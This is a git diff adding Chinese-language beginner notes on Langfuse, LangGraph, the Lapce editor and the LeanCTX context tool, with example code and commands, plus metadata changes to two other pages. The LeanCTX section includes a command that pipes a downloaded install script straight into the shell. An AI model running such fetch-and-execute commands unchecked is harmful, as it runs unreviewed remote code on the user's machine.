--- a/src/content/docs/projects/langchain.md
+++ b/src/content/docs/projects/langchain.md
@@ -2,7 +2,7 @@
 title: LangChain — LLM 应用开发框架
 来源: https://github.com/langchain-ai/langchain
 日期: 2026-05-29
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/langfuse-2026.md b/src/content/docs/projects/langfuse-2026.md
new file mode 100644
index 000000000..7fbc5903b
--- /dev/null
+++ b/src/content/docs/projects/langfuse-2026.md
@@ -0,0 +1,202 @@
+---
+title: Langfuse 零基础学习笔记
+来源: https://github.com/langfuse/langfuse
+日期: 2026-06-13
+分类: Agent
+子分类: 智能体与 LLM
+provenance: pipeline-v3
+---
+
+# Langfuse 零基础学习笔记
+
+## 一、什么是 Langfuse？
+
+Langfuse 是一个**开源的 LLM 工程平台**。
+
+用一句话概括：它帮团队**记录、监控、评估和调试**基于大模型（比如 GPT-4）的应用。
+
+## 二、日常类比
+
+想象你在开一家餐厅，厨师（大模型）负责做菜（生成回答）。
+
+过去的问题：你只知道顾客点了一道菜、最后端了什么，但**不知道厨房里发生了什么**——用了什么食材、炒了多久、哪一步出了问题。
+
+Langfuse 就是在厨房里安装了一整套**监控系统**：
+
+- 每一步操作都有记录（输入、输出、耗时、成本）
+- 出问题时可以回溯到具体哪一步出错
+- 可以对比不同"菜谱"（prompt）的效果
+- 可以给每道菜打分评价
+
+这个平台由 Y Combinator 支持，使用 ClickHouse 数据库，可以免费在云端使用，也可以自己部署。
+
+## 三、核心概念
+
+Langfuse 围绕以下概念工作：
+
+| 概念 | 说明 | 类比 |
+|------|------|------|
+| **Trace（追踪）** | 一次完整的请求从开始到结束的完整记录 | 一桌客人点的一整餐 |
+| **Observation（观察）** | 追踪中的具体步骤，包括三种类型 | 每道菜的烹饪过程 |
+| **Span（跨度）** | 非 LLM 的一般操作（如数据处理） | 洗菜、切菜 |
+| **Generation（生成）** | 具体的 LLM 调用（如发送 GPT-4 请求） | 炒菜这个核心步骤 |
+| **Session（会话）** | 同一用户的多次对话/请求关联在一起 | 同一位客人的完整用餐 |
+| **Evaluation（评估）** | 对生成的结果打分或评价 | 给菜品打分 |
+
+## 四、快速上手示例
+
+### 示例 1：用 Python 装饰器记录 LLM 调用
+
+这是最简单的接入方式——加一个 `@observe()` 装饰器，Langfuse 就自动追踪了。
+
+```python
+from langfuse import observe
+from langfuse.openai import openai
+import os
+
+# 设置密钥（从环境变量读取）
+os.environ["LANGFUSE_PUBLIC_KEY"] = "pk-lf-你的公钥"
+os.environ["LANGFUSE_SECRET_KEY"] = "sk-lf-你的密钥"
+
+@observe()
+def ask_question(question: str) -> str:
+    """用 GPT-4 回答问题的函数"""
+    response = openai.chat.completions.create(
+        model="gpt-4o",
+        messages=[{"role": "user", "content": question}],
+    )
+    return response.choices[0].message.content
+
+@observe()
+def main():
+    result = ask_question("请解释什么是 Langfuse？")
+    print(result)
+
+main()
+```
+
+要点：
+
+- `@observe()` 装饰器会自动捕获函数输入、输出、耗时、token 用量
+- `from langfuse.openai import openai` 是 Langfuse 的 OpenAI 包装器，比直接 `import openai` 多了自动追踪
+- 不需要手动记录任何东西
+
+### 示例 2：手动创建嵌套追踪
+
+如果需要更精细的控制（比如记录多个步骤），可以使用上下文管理器：
+
+```python
+from langfuse import get_client
+
+langfuse = get_client()
+
+# 创建一个顶层追踪
+trace = langfuse.trace(name="文档问答流程")
+
+# 第一步：搜索相关文档（Span - 非 LLM 操作）
+with trace.span(name="搜索文档") as span_search:
+    # 模拟搜索逻辑
+    documents = ["Langfuse 是开源的 LLM 平台", "它用于追踪和评估 AI 应用"]
+    span_search.update(output=f"找到 {len(documents)} 篇文档")
+
+# 第二步：调用大模型生成回答（Generation - LLM 操作）
+with trace.generation(
+    name="生成回答",
+    model="gpt-4o",
+    input=f"基于文档回答：{documents}"
+) as generation:
+    # 这里调用 LLM
+    answer = "Langfuse 是一个开源的 LLM 工程平台，用于追踪和评估 AI 应用..."
+    generation.update(
+        output=answer,
+        metadata={"token_count": len(answer.split())}
+    )
+
+# 记录用户反馈评分
+trace.score(
+    name="回答质量",
+    value=4.5,
+    comment="答案准确但略显简略"
+)
+
+# 刷新缓冲区（短生命周期应用必须调用）
+langfuse.flush()
+```
+
+要点：
+
+- `trace` 是顶层容器，包含所有观察
+- `span` 用于一般操作（搜索、数据处理等）
+- `generation` 专门用于 LLM 调用，自动记录模型名、token 数、费用
+- `score` 给追踪结果打分，用于后续分析和评估
+- 调用 `flush()` 确保所有数据发送出去
+
+### 示例 3：JS/TypeScript 版本
+
+```typescript
+import { startActiveObservation } from "@langfuse/tracing";
+
+async function main() {
+  // 创建追踪
+  await startActiveObservation("用户提问流程", async (span) => {
+    span.update({
+      input: "什么是 Langfuse?",
+    });
+
+    // 嵌套的搜索步骤
+    await startActiveObservation("搜索相关文档", { type: "span" }, async (searchSpan) => {
+      const docs = ["Langfuse 是开源的 LLM 平台"];
+      searchSpan.update({ output: `找到 ${docs.length} 篇文档` });
+    });
+
+    // LLM 生成步骤
+    await startActiveObservation("生成回答", {
+      type: "generation",
+      model: "gpt-4o",
+      input: "基于文档回答问题",
+    }, async (genSpan) => {
+      const answer = "Langfuse 是一个开源的 LLM 工程平台...";
+      genSpan.update({ output: answer });
+    });
+  });
+}
+
+main();
+```
+
+## 五、为什么需要 Langfuse？
+
+1. **LLM 输出不可预测**——同一输入可能每次得到不同结果，需要可追溯
+2. **调试困难**——问题出在 prompt？模型？还是数据处理？Langfuse 帮你定位
+3. **成本透明**——每个请求花费多少 token、多少钱，一目了然
+4. **持续改进**——通过评分和评估，找到哪些 prompt 效果更好
+
+## 六、其他关键功能
+
+- **Prompt 管理**：集中管理、版本控制 prompt，无需改代码就能切换不同版本的 prompt
+- **数据集与实验**：创建测试数据集，批量评估不同 prompt/模型的效果
+- **Playground**：在界面上直接测试 prompt 和模型配置，快速迭代
+- **评估方式**：支持 LLM 自动打分、人工标注、用户反馈等多种评估手段
+
+## 七、快速部署
+
+最简单的部署方式：
+
+```bash
+git clone --depth=1 https://github.com/langfuse/langfuse.git
+cd langfuse
+docker compose up
+```
+
+大约 5 分钟就能在自己的机器上跑起来。也可以直接注册 Langfuse Cloud（免费套餐）。
+
+## 八、小结
+
+| 你问 | Langfuse 做 |
+|------|-------------|
+| "我的 AI 应用运行得怎么样？" | 提供 Trace 追踪每一步 |
+| "哪里出错了？" | 逐步骤回溯，定位问题 |
+| "哪个 prompt 效果更好？" | 评估和实验功能对比 |
+| "花了多少钱？" | 自动统计 token 和费用 |
+
+一句话：Langfuse 就是 AI 应用的**黑匣子 + 仪表盘**。
diff --git a/src/content/docs/projects/langgraph.md b/src/content/docs/projects/langgraph.md
new file mode 100644
index 000000000..15c9c1711
--- /dev/null
+++ b/src/content/docs/projects/langgraph.md
@@ -0,0 +1,216 @@
+---
+title: LangGraph — 有状态 Agent 编排
+来源: https://github.com/langchain-ai/langgraph
+日期: 2026-06-13
+分类: 机器学习
+子分类: ai-infra
+provenance: pipeline-v3
+---
+
+## 是什么
+
+LangGraph 是 LangChain 出品的一个**底层编排框架**，用来构建**有状态、能长期运行、可以中断恢复**的 AI Agent。日常类比：如果你把 Agent 比作一个员工，普通的 LLM 调用就像一个记性很差的人——每次问你话，他都不记得上次聊了什么；LangGraph 则给这个员工配了一个**笔记本**，每做一件事都记下来，下次问的时候翻开笔记本继续。更重要的是，这个笔记本还能持久保存——就算员工下班了（程序崩溃），第二天再来还能从上次停下的地方继续。
+
+LangGraph 受 Google 的 Pregel 分布式计算框架启发，用"图（Graph）"的方式组织 Agent 的行为：每个"节点（Node）"做一件事（比如调用 LLM、执行工具），每条"边（Edge）"决定从哪个节点走到哪个节点。它提供两个 API：
+
+- **Graph API**（图式）：显式定义节点和边，像画流程图一样构建 Agent
+- **Functional API**（函数式）：写一个普通函数，用 `@task` 和 `@entrypoint` 装饰器标记
+
+## 为什么重要
+
+LangGraph 解决了 AI Agent 的三大核心问题：
+
+1. **状态持久化**：Agent 可以跑很长时间，中途挂了也能从断点恢复
+2. **人在环路（Human-in-the-loop）**：可以在执行过程中停下来让人审核或修改
+3. **完整记忆**：短期记忆（当前对话上下文）+ 长期记忆（跨会话持久存储）
+
+由 LangChain 团队开发，截至 2026 年 6 月已在 Klarna、Uber、J.P. Morgan 等公司生产环境使用，GitHub Star 34.6k+。
+
+## 核心概念
+
+**State（状态）**：Agent 的"笔记本"。用 `TypedDict` 定义结构，每次节点执行完都会更新状态。关键是 `Annotated` + `operator.add` 让消息自动追加而不是覆盖。
+
+**Node（节点）**：Agent 的一步操作。一个函数，接收当前状态，返回要更新的状态字段。比如"调用 LLM"是一个节点，"执行工具"是另一个节点。
+
+**Edge（边）**：节点之间的连接线。`add_edge(START, "llm_call")` 表示从起点进入 LLM 节点，`add_conditional_edges` 则根据条件决定走向。
+
+**Graph（图）**：所有节点和边的集合。定义完后调用 `.compile()` 编译成可运行的 Agent。
+
+**Persistence（持久化）**：LangGraph 的状态可以保存到数据库，Agent 崩溃后通过同一个 checkpoint 恢复，就像游戏存档一样。
+
+## 代码示例一：Graph API 版计算器 Agent
+
+这是用图式 API 构建的完整计算器 Agent：
+
+```python
+from langchain.tools import tool
+from langchain.chat_models import init_chat_model
+from langgraph.graph import StateGraph, MessagesState, START, END
+from langchain.messages import SystemMessage, HumanMessage, ToolMessage
+from typing import Literal
+import operator
+
+# 1. 定义工具和模型
+model = init_chat_model("claude-sonnet-4-6", temperature=0)
+
+@tool
+def multiply(a: int, b: int) -> int:
+    """Multiply a and b."""
+    return a * b
+
+@tool
+def add(a: int, b: int) -> int:
+    """Add a and b."""
+    return a + b
+
+tools = [add, multiply]
+tools_by_name = {t.name: t for t in tools}
+model_with_tools = model.bind_tools(tools)
+
+# 2. 定义状态（笔记本的结构）
+class AgentState(MessagesState):
+    llm_calls: int  # 记录调了几次 LLM
+
+# 3. 定义节点
+def llm_call(state):
+    """LLM 决定要不要调用工具"""
+    return {
+        "messages": [
+            model_with_tools.invoke(
+                [SystemMessage(content="你是一个计算器助手。")]
+                + state["messages"]
+            )
+        ],
+        "llm_calls": state.get("llm_calls", 0) + 1
+    }
+
+def tool_node(state):
+    """执行 LLM 请求的工具调用"""
+    result = []
+    for tc in state["messages"][-1].tool_calls:
+        tool = tools_by_name[tc["name"]]
+        observation = tool.invoke(tc["args"])
+        result.append(ToolMessage(
+            content=observation, tool_call_id=tc["id"]
+        ))
+    return {"messages": result}
+
+# 4. 定义条件路由（决定走工具还是结束）
+def should_continue(state) -> Literal["tool_node", END]:
+    last = state["messages"][-1]
+    if last.tool_calls:
+        return "tool_node"  # 有工具调用，去执行
+    return END  # 没有，结束对话
+
+# 5. 构建图并编译
+builder = StateGraph(AgentState)
+builder.add_node("llm_call", llm_call)
+builder.add_node("tool_node", tool_node)
+
+builder.add_edge(START, "llm_call")
+builder.add_conditional_edges(
+    "llm_call", should_continue, ["tool_node", END]
+)
+builder.add_edge("tool_node", "llm_call")  # 工具执行完回到 LLM
+
+agent = builder.compile()
+
+# 6. 运行
+result = agent.invoke({
+    "messages": [HumanMessage(content="3 乘以 7 等于几？")]
+})
+for m in result["messages"]:
+    m.pretty_print()
+```
+
+这里的关键是 `tool_node` 执行完后，边又回到 `llm_call`，形成**循环**——LLM 调用工具、拿到结果、再判断是否继续调用，直到不需要工具为止。
+
+## 代码示例二：Functional API 版（更简洁）
+
+函数式 API 用普通 Python 函数写控制流，不需要手动定义边：
+
+```python
+from langgraph.func import entrypoint, task
+from langchain.messages import SystemMessage, HumanMessage
+from langchain_core.messages import BaseMessage
+from langchain.messages import add_messages
+
+@task
+def call_llm(messages: list[BaseMessage]):
+    """调用 LLM 的 task"""
+    return model_with_tools.invoke(
+        [SystemMessage(content="你是一个计算器助手。")] + messages
+    )
+
+@task
+def call_tool(tool_call):
+    """执行单个工具调用的 task"""
+    tool = tools_by_name[tool_call["name"]]
+    return tool.invoke(tool_call)
+
+@entrypoint()
+def agent(messages: list[BaseMessage]):
+    model_response = call_llm(messages).result()
+
+    # while 循环就是"人在环路"之外的自动循环
+    while True:
+        if not model_response.tool_calls:
+            break  # 没有工具调用，结束
+        # 并行执行所有工具
+        futures = [call_tool(tc) for tc in model_response.tool_calls]
+        results = [f.result() for f in futures]
+        messages = add_messages(messages, [model_response, *results])
+        model_response = call_llm(messages).result()
+
+    messages = add_messages(messages, model_response)
+    return messages
+
+# 运行
+for chunk in agent.stream(
+    [HumanMessage(content="5 加 8 再乘以 2 等于几？")],
+    stream_mode="updates"
+):
+    print(chunk)
+```
+
+`@task` 标记的函数可以被并行执行（比如多个工具调用），`@entrypoint` 是 Agent 的入口。`stream_mode="updates"` 让你看到每次状态更新的中间结果。
+
+## 核心概念对比
+
+| 概念 | 图式 API（Graph） | 函数式 API（Functional） |
+|------|------|------|
+| 定义方式 | 节点 + 边的流程图 | 一个入口函数 |
+| 循环控制 | 边回到上一节点 | `while` 循环 |
+| 条件路由 | `add_conditional_edges` | `if / else` |
+| 并行任务 | 需要手动编排 | `@task` 自动并行 |
+| 适用场景 | 复杂多分支流程 | 简单工具循环 |
+
+## 持久化：游戏存档般的体验
+
+LangGraph 的状态可以保存到数据库（如 SQLite、PostgreSQL）。Agent 跑了一半程序挂了，重启后用同一个 `thread_id` 加载 checkpoint，就能从断点继续——不需要重新跑前面的步骤。这让 Agent 可以安全地运行需要几分钟甚至几小时的任务。
+
+```python
+from langgraph.checkpoint.memory import MemorySaver
+
+memory = MemorySaver()
+agent = builder.compile(checkpointer=memory)
+
+# 第一次运行
+result = agent.invoke(
+    {"messages": [HumanMessage(content="3 + 5 = ?")]},
+    config={"configurable": {"thread_id": "thread-1"}}
+)
+
+# 程序重启后，用同一个 thread_id 加载之前的状态
+# Agent 记得之前聊过什么
+```
+
+## 学习路线建议
+
+1. 先理解 LLM 和 Tool（LangChain 的基础组件）
+2. 用 Graph API 跑通一个计算器 Agent（理解节点、边、状态）
+3. 试试 Functional API 对比两种写法
+4. 加入 persistence（持久化），理解 checkpoint 机制
+5. 学习 Human-in-the-loop（中断点），体验人在回路中的审核能力
+
+参考：LangChain Academy 有免费的 [Intro to LangGraph](https://academy.langchain.com/courses/intro-to-langgraph) 课程，非常适合零基础入门。
diff --git a/src/content/docs/projects/lapce-editor.md b/src/content/docs/projects/lapce-editor.md
new file mode 100644
index 000000000..f5d1da47d
--- /dev/null
+++ b/src/content/docs/projects/lapce-editor.md
@@ -0,0 +1,273 @@
+---
+title: Lapce — 用 Rust 写的闪电级代码编辑器
+来源: https://github.com/lapce/lapce
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Lapce 是一个用 **Rust** 从头写的现代代码编辑器。UI 框架叫 Floem（也是 Lapce 团队自己写的），渲染走 wgpu（GPU 加速），文本内核用了 xi-editor 那套 **Rope 数据结构**。GitHub 上 38k+ star，Apache 2.0 开源。
+
+日常类比：
+
+> VS Code 像一辆装了 Chrome 引擎的电动车——漂亮但车身重。Lapce 想造一辆纯电气跑车的车身——没有 Chrome 的包袱，所有零件为性能从零设计。
+
+最直观的画面，打开一个 Rust 项目：
+
+```
+┌─────────────────────────────────────────────────────────┐
+│ 文件树 │ src/lib.rs                                      │
+│        │                                                 │
+│ src/   │ pub struct Server {                             │
+│ main.rs│     addr: SocketAddr,                           │
+│ config │     pool: Pool,                                 │
+│ .rs    │ }                                             │
+│        │                                               │
+│ Cargo  │ impl Server {                                  │
+│ .toml  │     pub fn start(&self) {                      │
+│        │         // ← 这里直接弹出补全列表              │
+│ ▶ tests│     }                                         │
+│        │ }                                             │
+│        │                                               │
+│ ┌──────┴─────────────────────────────────────────────┐ │
+│ │ 内建终端                                          │ │
+│ │ $ cargo check                                      │ │
+│ │    Finished `dev` profile                          │ │
+│ └────────────────────────────────────────────────────┘ │
+└─────────────────────────────────────────────────────────┘
+```
+
+左边文件树、中间代码编辑区、下面终端——和 VS Code 的布局几乎一样。但背后完全不同。
+
+## 为什么重要
+
+不了解 Lapce，下面这些场景每天都要付学费：
+
+- 用 VS Code 打开一个 200MB 的日志文件或大 JSON——整个窗口卡住不动；Lapce 的 Rope 结构在内存里只存增量差异，同样的文件几乎零延迟
+- SSH 到远程服务器开发——VS Code Remote 依赖 SSH 进程 + 代理；Lapce 有同构的 Remote Development 支持，且没有 Electron 的内存开销
+- 写 Vim 宏的人——Lapce 内建模态编辑，不需要装任何扩展；Vim 键位是"一等公民"
+- VS Code 一晚上吃掉 1-2GB 内存——Lapce 是 Rust 原生编译，常驻内存通常在 100MB 以下
+- 编辑器插件要写 JS/TS——Lapce 插件用 WASI 格式（Rust / C / AssemblyScript 都能编译），更安全
+
+## 核心概念
+
+### 1. Rope（ ropes = rope，绳子）
+
+普通文本编辑器把整个文件读进一个字符串。文件 10MB 就占 10MB 内存，删一行要重新索引整个字符串。
+
+Rope 把文本像绳子一样切成一段一段（chunk），存在树形结构里。插入字符时只需 split → modify → join，复杂度是 O(log n)：
+
+```
+文件 "hello world" 用 Rope 存：
+        [root]
+       /      \
+   ["hello"]  [" world"]
+```
+
+插入 "Rust " 在中间：
+```
+        [root]
+       /   |   \
+   ["hello"] ["Rust "] [" world"]
+```
+
+只增加了一个节点，原有数据不动。这就是 Lapce 能"闪电快"的底层原因。
+
+### 2. LSP 内建（Language Server Protocol）
+
+LSP 是微软定的协议，让编辑器能跟语言服务器对话。Lapce 不是"支持 LSP"，而是 LSP 是第一层公民：
+
+```
+Lapce 客户端                         语言服务器 (rust-analyzer)
+┌──────────────┐                   ┌──────────────────┐
+│ 你输入代码    │─── LSP 请求 ──→ │ 语义分析、类型检查  │
+│              │←── LSP 响应 ─── │ 自动补全、跳转定义   │
+│ 实时高亮     │                   │ 错误诊断、快速修复   │
+│ 即时跳转      │                   │                    │
+└──────────────┘                   └──────────────────┘
+```
+
+### 3. 模态编辑（Modal Editing）
+
+Lapce 的模态编辑和 Vim 一样，但集成在 GUI 里，不需要终端：
+
+```
+Normal 模式（光标只是光标）：
+  h/j/k/l → 移动光标
+  dw → 删到词尾
+  dd → 删整行
+  yy → 复制当前行
+  p → 粘贴
+
+Insert 模式（像普通编辑器一样打字）：
+  i → 从光标前进入
+  a → 从光标后进入
+  Esc → 回到 Normal
+```
+
+可以在 Normal 和 Insert 之间自由切换，也可以完全关闭模态编辑回到普通模式。
+
+## 实践案例
+
+### 案例 1：安装并打开项目
+
+```bash
+# macOS
+brew install lapce
+# 或下载 https://github.com/lapce/lapce/releases
+# 或从源码编译
+cargo install --locked lapce
+
+# 启动
+lapce ~/projects/my-rust-app
+```
+
+首次启动会看到一个面板问你要不要启用模态编辑——点了就进入 Vim 模式，跳过就是普通编辑器模式。
+
+### 案例 2：用 Command Palette 做一切操作
+
+Lapce 没有传统菜单栏。所有操作都通过 Command Palette（`Cmd+Shift+P`）：
+
+```
+Command Palette (Cmd+Shift+P)
+  > Change Theme
+    Change Color Theme
+    Toggle Terminal
+    Toggle Keyboard Shortcuts
+    Open Settings (JSON)
+    Format Document
+    Go to Definition
+    Find All References
+```
+
+不需要鼠标，不需要找菜单位置。知道命令名字就完事。
+
+### 案例 3：配置——TOML 格式
+
+Lapce 的配置文件在 `~/.config/lapce/config.toml`，用 TOML 写：
+
+```toml
+[editor]
+font-family = "JetBrains Mono"
+font-size = 14
+tab-size = 4
+word-wrap = true
+
+[keybinds]
+[[keybinds]]
+mode = "NORMAL"
+keys = ["space", "f"]
+command = "editor::format"
+
+[[keybinds]]
+mode = "NORMAL"
+keys = ["space", "s"]
+command = "editor::save"
+```
+
+`space` 代表空格键，`space` + `f` 表示先按空格再按 f。`mode = "NORMAL"` 表示只在 Normal 模式下生效。Vim 老手看到这种配置会觉得很亲切。
+
+### 案例 4：内建终端
+
+不用离开编辑器就能跑命令：
+
+```bash
+# 在 Lapce 内建终端里直接跑
+$ cargo run
+   Compiling my-app v0.1.0
+    Finished dev [unoptimized + debuginfo]
+     Running `target/debug/my-app`
+
+# 另一个标签页
+$ cargo test
+   Compiling my-app v0.1.0
+    Finished test [unoptimized + debuginfo]
+     Running unittests (target/debug/deps/my_app-xxxx)
+
+test tests::it_works ... ok
+```
+
+### 案例 5：多光标编辑
+
+像 VS Code 一样用鼠标或快捷键建多个光标：
+
+```rust
+// 原始代码
+fn calculate(x: i32) -> i32 {
+    let result = x * 2;
+    return result;
+}
+
+fn calculate2(x: i32) -> i32 {
+    let result = x * 3;
+    return result;
+}
+
+// 用 Cmd+D 逐个选中 "x * 2" 和 "x * 3"，然后一次输入 "x * 4"
+// 结果：
+fn calculate(x: i32) -> i32 {
+    let result = x * 4;  // ← 两处同时改
+    return result;
+}
+
+fn calculate2(x: i32) -> i32 {
+    let result = x * 4;  // ← 两处同时改
+    return result;
+}
+```
+
+## 踩过的坑
+
+1. **v0.4 还在快速迭代**：UI 偶尔会闪退或布局错乱，特别是打开超大文件时。生产环境用可以接受，但别指望它像 VS Code 一样零缺陷。
+
+2. **插件生态初期**：VS Code 有 3 万 + 扩展，Lapce 的插件还是实验性的（WASI 格式），大部分功能要自己用 TOML 配置。
+
+3. **Remote Development 需要额外配置**：Lapce 支持连远程 SSH，但需要 Lapce 的二进制文件也在远端机器上，不是像 VS Code 那样自动部署代理。
+
+4. **中文输入支持在改进中**：早期版本中文输入法有光标错位，0.4 版本已大幅改善但不保证 100%。
+
+5. **没有同步设置**：VS Code 有 Settings Sync，Lapce 目前没有官方同步功能。跨机器迁移要手动 copy 配置文件。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 对 VS Code 内存占用不满，想换轻量编辑器但保留 GUI
+- Vim 用户想要模态编辑但又不想放弃现代 GUI
+- Rust 项目开发者——rust-analyzer 支持极好
+- 经常 SSH 远程开发，想要一个轻量的远程编辑方案
+- 技术尝鲜爱好者
+
+**不适用**：
+
+- 重度依赖 VS Code 扩展（如 Docker、Azure、C# 扩展）
+- 追求"开箱即用零配置"——Lapce 需要自己配不少东西
+- 企业生产环境大规模统一部署（生态还太小）
+- 需要稳定的长周期工作流（v0.x API 还在变）
+
+## 学到什么
+
+1. **Rust 已经可以写完整的桌面 GUI 应用**——Lapce + Floem + wgpu 证明了 Rust 全栈能力
+2. **Rope 数据结构是高性能编辑器的核心**——不是噱头，是实际解决大文件性能问题的方案
+3. **LSP 让编辑器可以"语言无关"地提供智能功能**——写完一次 rust-analyzer，所有语言都受益
+4. **模态编辑 + GUI 的融合是未来方向**——Notion 的 slash command、VS Code 的 Ctrl+K 都在往这个方向走
+
+## 延伸阅读
+
+- 官方文档：[docs.lapce.dev](https://docs.lapce.dev)（功能、键位、设置、终端、主题）
+- 源码仓库：[github.com/lapce/lapce](https://github.com/lapce/lapce)（Rust 98.7%，Floem UI 框架也在这）
+- Floem UI 框架：[github.com/lapce/floem](https://github.com/lapce/floem)（Lapce 的 UI 底层）
+- Rope 数据结构详解：[xi-editor Rope Science](https://xi-editor.io/docs/rope_science_00.html)（Lapce 文本内核的理论来源）
+- Lapce Discord 社区：[discord.gg/n8tGJ6Rn6D](https://discord.gg/n8tGJ6Rn6D)（活跃的开发讨论区）
+
+## 关联
+
+- [[VS Code]] —— Lapce 的布局和功能参考来源；Lapce 想证明"没有 Chrome 也能这样"
+- [[Vim]] —— Lapce 模态编辑的核心参照；Vim 的 Normal/Insert 模式直接搬进 GUI
+- [[helix]] —— 另一个 Rust 模态编辑器，默认 LSP + Rope，但只支持终端
+- [[zed]] —— Zed Editor，同样是 Rust 写的超快编辑器，但走闭源 + GPU 渲染 + CRDT 路线
+- [[xi-editor]] —— Lapce 的前身；Rope Science 的发明者，Lapce 是从 xi-editor 分支发展出来的
diff --git a/src/content/docs/projects/lazygit.md b/src/content/docs/projects/lazygit.md
index 96b70f5f7..a8e8a80dc 100644
--- a/src/content/docs/projects/lazygit.md
+++ b/src/content/docs/projects/lazygit.md
@@ -2,8 +2,8 @@
 title: lazygit — Go 写的全功能 git TUI，键盘驱动 stage / rebase / cherry-pick
 来源: 'https://github.com/jesseduffield/lazygit'
 日期: 2026-05-30
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/lean-ctx-mcp.md b/src/content/docs/projects/lean-ctx-mcp.md
new file mode 100644
index 000000000..6591a528a
--- /dev/null
+++ b/src/content/docs/projects/lean-ctx-mcp.md
@@ -0,0 +1,212 @@
+---
+title: LeanCTX — AI Agent 的认知上下文层
+来源: https://github.com/yvgude/lean-ctx
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+# LeanCTX — AI Agent 的认知上下文层
+
+## 一个日常类比
+
+想象你在一家图书馆里帮朋友找书。
+
+没有 LeanCTX 的时候，你每次朋友问"那本书写了什么"，你都重新跑回书架把整本书抄下来。朋友问三次，你就抄了三次。你的笔记本（AI 的 context window）很快就满了。
+
+有了 LeanCTX，就像图书馆给你发了一张智能索引卡：第一次你抄完书的内容后，卡片上记下"这本书已经抄过了"。下次朋友再问，你只需要翻一下卡片，写上"跟上次一样，没变"——只花几秒，而不是重新抄一遍。而且你还记得上次朋友让你找的是"关于数据库的书"，所以这次你直接告诉他上次提到的那本《PostgreSQL 实战》。
+
+LeanCTX 做的事情就是这件事：让 AI Agent 不再反复读取同样的文件，不再浪费宝贵的上下文空间，还能记住之前的对话内容。
+
+---
+
+## 它是什么
+
+LeanCTX（全称 Lean Context）是一个运行在你本地机器上的 Rust 二进制程序，放在 AI 编程工具（如 Cursor、Claude Code、Copilot 等）和你的代码之间。它负责四件事：
+
+1. **压缩（Compression）** — 自动压缩文件读取和命令行输出，减少 60-90% 的 token 消耗
+2. **路由（Routing）** — 根据文件类型和查询意图，智能选择最合适的读取深度
+3. **记忆（Memory）** — 跨会话保存任务、事实和决策，不会每次新开聊天就"失忆"
+4. **验证（Verification）** — 实时仪表盘展示你省了多少 token，以及预算控制
+
+目前提供了 **76 个 MCP 工具**，支持 **30+ 种 AI 编程工具**。
+
+---
+
+## 核心概念一：压缩读取（Read Modes）
+
+AI 工具每次读取文件都会消耗 token。LeanCTX 提供了 10 种读取模式，每种适合不同场景。
+
+比如一个 66 行的 Rust 文件：
+
+- **full 模式**：读取全部 66 行原文（消耗 ~2000 token）
+- **map 模式**：只读取导入语句和函数签名（消耗 ~50 token）
+- **signatures 模式**：只读取函数签名列表（消耗 ~30 token）
+- **缓存重读**：如果文件没变，第二次读取只需 ~13 token
+
+关键数字：第一次读取可能消耗 2000 token，但缓存后的重读只需要 13 token。
+
+### 代码示例一：安装与基本使用
+
+```bash
+# 第一步：安装 LeanCTX（任选一种方式）
+curl -fsSL https://leanctx.com/install.sh | sh
+
+# 第二步：连接你的 AI 工具（自动检测 Cursor / Claude Code / Copilot 等）
+lean-ctx onboard
+
+# 第三步：验证安装
+lean-ctx doctor
+
+# 第四步：开始使用。在 AI 工具中正常写代码，LeanCTX 自动在背后工作
+# 查看节省了多少 token：
+lean-ctx gain
+```
+
+安装完成后不需要任何配置改动。你照常使用 AI 编程工具，LeanCTX 通过 MCP 协议自动拦截文件读取和命令执行，进行压缩和缓存。
+
+---
+
+## 核心概念二：Shell 输出压缩
+
+除了读取文件，AI Agent 还会经常执行命令行（如 `git status`、`cargo test`）。这些命令的输出通常很冗长，一条命令就可能消耗几百甚至上千 token。
+
+LeanCTX 内置了 95+ 种命令行输出压缩模式，自动识别并压缩 git、npm、cargo、docker、kubectl 等常见命令的输出。
+
+比如 `git status` 原始输出约 800 token，经过 LeanCTX 压缩后只需约 120 token。
+
+### 代码示例二：文件读取与 Shell 压缩的实际操作
+
+```bash
+# --- 文件读取：用 map 模式只看 API 表面 ---
+# 这个命令读取 src/server.rs，只返回导入和函数签名
+# 而不是整份文件内容
+lean-ctx read src/server.rs -m map
+
+# 输出示例：
+# server.rs [342L]
+#   deps: super::middleware::auth, super::routes::health
+#   API:
+#     fn ⊛ start_server(host:s, port:u16) @L45-120
+#     fn ⊛ register_routes(router:Router) @L122-280
+#     fn health_check() @L282-290
+
+# --- Shell 压缩：自动压缩 git 命令输出 ---
+# 加上 -c 参数，LeanCTX 会自动压缩命令输出
+lean-ctx -c "git status"
+
+# 如果要看原始输出（不压缩），加 --raw
+lean-ctx -c "git status" --raw
+
+# --- 查看实时节省数据 ---
+# --live 参数会持续更新显示当前节省了多少 token
+lean-ctx gain --live
+```
+
+---
+
+## 核心概念三：持久记忆（Session Memory）
+
+普通的 AI 对话中，每次开启新聊天，AI 就"忘记"之前的一切。LeanCTX 提供了一个知识图谱和会话记忆系统，让 AI 可以跨会话记住：
+
+- 你正在做什么任务
+- 你做过的技术决策
+- 项目中的重要事实
+
+```bash
+# 查看项目的任务概览
+lean-ctx overview
+
+# 回忆之前记住的关于"认证"的事实
+lean-ctx knowledge recall "auth"
+```
+
+这意味着你可以今天让 AI 帮你搭建认证模块，明天开一个新的聊天窗口，AI 仍然知道认证模块的存在和实现细节。
+
+---
+
+## 核心概念四：属性图（Property Graph）
+
+LeanCTX 在后台构建了一个代码的属性图，记录了文件之间的导入关系、函数调用关系、导出关系等。通过这个图，它可以：
+
+- 分析某个函数被哪些地方引用（影响范围分析）
+- 找到相关的文件
+- 提供更智能的搜索结果
+
+```bash
+# 查看 auth.rs 被修改后会影响哪些文件
+lean-ctx graph impact src/auth.rs
+
+# 扫描代码中的异味（code smell）热点
+lean-ctx smells scan
+```
+
+---
+
+## 架构图解
+
+```
+┌─────────────────────────────────────────────────────────┐
+│                   你的 AI 编程工具                        │
+│         (Cursor / Claude Code / Copilot / ...)          │
+└──────────────────────┬──────────────────────────────────┘
